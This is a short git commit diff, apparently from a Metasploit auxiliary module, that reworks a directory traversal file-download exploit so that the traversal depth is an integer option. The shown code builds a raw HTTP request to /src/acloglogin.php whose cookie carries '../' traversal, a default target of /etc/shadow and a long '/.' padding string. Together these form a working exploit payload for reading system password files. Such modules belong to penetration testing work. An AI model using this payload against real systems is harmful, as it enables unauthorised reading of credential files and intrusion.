Make msftidy happy and change the traversal option
parent
3b7e1cd73a
commit
0c18662d46
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
[
|
||||
Opt::RPORT(85),
|
||||
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/shadow']),
|
||||
OptString.new('DIRTRAVS', [true, 'Traversal depth', '../../../../../../../../../..'])
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -49,6 +49,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
travs = "../" * datastore['DEPTH']
|
||||
|
||||
# Create request
|
||||
path = "/src/acloglogin.php"
|
||||
res = send_request_raw({
|
||||
|
@ -58,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
{
|
||||
'Connection' => "keep-alive",
|
||||
'Accept-Encoding' => "zip,deflate",
|
||||
'Cookie' => "PHPSESSID=af0402062689e5218a8bdad17d03f559; lang=owned" + datastore['DIRTRAVS'] + datastore['FILEPATH'] + "/."*4043
|
||||
'Cookie' => "PHPSESSID=af0402062689e5218a8bdad17d03f559; lang=owned" + travs + datastore['FILEPATH'] + "/."*4043
|
||||
},
|
||||
}, 25)
|
||||
|
||||
|
|
Loading…
Reference in New Issue